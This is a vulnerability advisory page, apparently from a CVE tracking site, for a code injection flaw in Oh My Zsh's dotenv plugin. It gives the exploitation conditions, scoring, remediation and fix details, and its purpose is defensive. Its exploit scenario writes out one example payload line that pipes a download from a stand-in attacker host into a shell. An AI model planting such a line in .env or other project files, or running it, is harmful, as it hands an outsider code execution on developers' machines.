Skip to main content

Oh My Zsh EUVDEUVD-2026-60954

| CVE-2026-50187 HIGH
Code Injection (CWE-94)
2026-08-18 security-advisories@github.com
8.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker embeds shell payload in .env file
  2. Delivery
    Victim clones or downloads malicious repository
  3. Exploit
    Victim cds into repository directory
  4. Execution
    Oh My Zsh dotenv plugin auto-sources .env as shell script
  5. Impact
    Arbitrary commands execute as current user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the victim must have Oh My Zsh installed with the dotenv plugin explicitly enabled in their ~/.zshrc plugins=(...) list - this is a non-default opt-in plugin absent from fresh installations; (2) the victim must execute cd (or any equivalent directory-change command) into a directory containing a .env file controlled by the attacker, such as a cloned git repository, an extracted archive, or a mounted network share; and (3) the execution must not be blocked by the prompt - either ZSH_DOTENV_PROMPT is set to false, or the victim accepts the confirmation prompt by pressing Enter without reviewing the file. Exploitation is entirely prevented for users who have not enabled the dotenv plugin. The confirmation prompt is a meaningful but defeatable control: developers who habitually press Enter at shell prompts are at elevated risk. No network-facing port, running service, or daemon on the victim machine is required.

Impact

The CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects the full-compromise impact (C:H/I:H/A:H) and low attack complexity. The AV:N classification is defensible under the scenario where an attacker delivers the malicious .env file via a git repository or download link, which is the realistic threat model for developer tooling; however, the underlying sourcing event is local, so some analysts may dispute this as AV:L. The UI:R requirement - the developer must explicitly cd into the affected directory - meaningfully limits opportunistic mass exploitation and rules out fully automated attacks, reducing practical severity below the headline score. No EPSS data was available for independent signal comparison. No CISA KEV listing exists and no public exploit code was identified, suggesting exploitation has not been observed at scale. Despite these mitigating signals, the attack requires zero technical sophistication: embedding shell commands in a .env file is trivial for any attacker who controls repository content. The risk is most acute for developers who clone external repositories, participate in open-source projects, or work in shared development environments - all commonplace behaviors in the target population of Oh My Zsh users.

Exploit ScenarioDerived

An attacker publishes a malicious open-source project on GitHub with a .env file containing an embedded shell payload such as curl https://attacker.example/implant | sh. A developer with the Oh My Zsh dotenv plugin enabled clones the repository and runs cd into the project directory; the plugin auto-sources the .env file, executing the payload with the developer's full account privileges - silently if ZSH_DOTENV_PROMPT=false, or after an unreviewed Enter keypress at the default prompt. No public proof-of-concept code was identified at time of analysis, but the attack requires no exploit tooling beyond a crafted text file.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 18, 2026

Arbitrary shell command execution in Oh My Zsh's dotenv plugin allows any syntactically valid Zsh command embedded in a .env file to run with the victim user's privileges when they cd into a directory containing that file. The plugin unconditionally sourced the .env file as a shell script rather than parsing it as a structured key-value store, meaning malicious git repositories, shared project directories, or downloaded archives could weaponize routine developer directory-navigation. Exploitation is silent when ZSH_DOTENV_PROMPT=false or when the user presses Enter at the default prompt without reviewing the file; no CISA KEV listing or public exploit code was identified at time of analysis.

RemediationAI

Update Oh My Zsh to any commit after 2026-05-28 by running omz update or git -C ~/.oh-my-zsh pull; the fix is confirmed present in commit d170d18746bb06db7b2fc97b67e281597a3fc152 (https://github.com/ohmyzsh/ohmyzsh/commit/d170d18746bb06db7b2fc97b67e281597a3fc152). No named semantic release version is available - the patched version is identified by commit date only, not independently confirmed as a tagged release. If immediate update is not feasible, disable the plugin entirely by removing dotenv from the plugins=(...) line in ~/.zshrc and restarting the shell; this eliminates the attack surface with no side effects beyond losing automatic .env loading. Do not rely on ZSH_DOTENV_PROMPT=true (the default confirmation prompt) as a security control: it does not prevent execution if the user presses Enter without reviewing the file contents. The GitHub Security Advisory is at https://github.com/ohmyzsh/ohmyzsh/security/advisories/GHSA-3rgh-p3mg-rjqg.

Affected VersionsENISA

ohmyzsh < 2026-05-28

Affected Packages

euvd ohmyzsh fix: 2026-05-28

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Oh My Zsh is a community-maintained framework for managing Zsh shell configuration, installed by millions of developers on macOS and Linux. The dotenv plugin (plugins/dotenv/dotenv.plugin.zsh) hooks into Zsh's chpwd directory-change event and calls Zsh's built-in source on any .env file found in the new working directory. Because source treats its argument as a full Zsh script, any valid shell construct - command substitution, network calls, file writes, persistence mechanisms - executes in the current shell context. This is a textbook CWE-94 (Code Injection) flaw: untrusted file content is passed to an interpreter without sanitization. The fix (commit d170d18746bb06db7b2fc97b67e281597a3fc152, PR #13778) replaces unconditional sourcing with the _parse_dotenv_content function, which enforces: a 10 MiB file size limit, pre-execution syntax validation via zsh -fn, rejection of command substitution ($(...) and backtick) constructs, a hardcoded forbidden-variable list covering NODE_OPTIONS, ZDOTDIR, LD_PRELOAD, LD_LIBRARY_PATH, GIT_DIR, GIT_SSH_COMMAND, and all Zsh special parameters, and strict KEY=VALUE-only parsing using the (Z:C:) Zsh flag. No CPE string was provided in the source data.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

AV:N reflects realistic delivery via git repository; UI:R captures required directory change; full shell execution as current user drives C/I/A:H with no scope change.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 8.8 HIGH

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 18, 2026 - 16:17 EUVD
CVE Published
Aug 18, 2026 - 15:16 cve.org
HIGH 8.8

DescriptionCVE.org

Oh My Zsh is a community-driven framework for managing Zsh configuration. Prior to 2026-05-28, the dotenv plugin in plugins/dotenv/dotenv.plugin.zsh passes ZSH_DOTENV_FILE to source after a directory change into a folder containing a .env file, allowing syntactically valid shell commands in the file to execute with the current account's privileges, including without a prompt when ZSH_DOTENV_PROMPT=false or after the default prompt accepts an empty Enter response. This issue is fixed in versions released after 2026-05-28.

Executive ViewAI

Why It Matters

A code execution vulnerability in Oh My Zsh's dotenv plugin (CVSS 8.8) allows arbitrary commands embedded in .env files to execute with developer privileges when entering a directory. Development teams are at risk from malicious repositories and shared project archives, potentially compromising source code access and development environment integrity.

Business Impact: High
Compensating Controls

Disable the dotenv plugin completely via zsh configuration, or set ZSH_DOTENV_PROMPT=true to enforce user confirmation before sourcing .env files; deploy file-integrity monitoring on development machines to detect unauthorized .env file modifications; enforce code-review processes for any .env file changes; consider adopting dotenv CLI tools or structured environment variable management that does not execute configuration files as shell code.

Threat Intelligence Overview

EPSS Score
0.5%
Top 60% exploitable
Prevalence
High
one of the most widely adopted zsh frameworks, millions of developer installs globally
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy